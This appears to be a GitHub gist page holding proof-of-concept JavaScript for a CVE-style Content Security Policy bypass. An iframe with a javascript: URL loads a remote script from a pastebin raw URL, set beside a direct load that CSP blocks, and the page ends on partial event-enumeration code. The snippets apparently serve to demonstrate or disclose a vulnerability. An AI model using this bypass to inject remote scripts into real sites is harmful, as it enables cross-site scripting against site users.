This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* this is a script that pops an alert message */ | |
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6'; | |
/* this call will succeed although CSP */ | |
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* this is a script that pops an alert message */ | |
top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6'; | |
/* this call will fail due to CSP */ | |
var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function _isEvent(prop) { | |
if (0 !== prop.indexOf('on')) { | |
return false; | |
} | |
return true; | |
} | |
function _getEvents(obj) { |
NewerOlder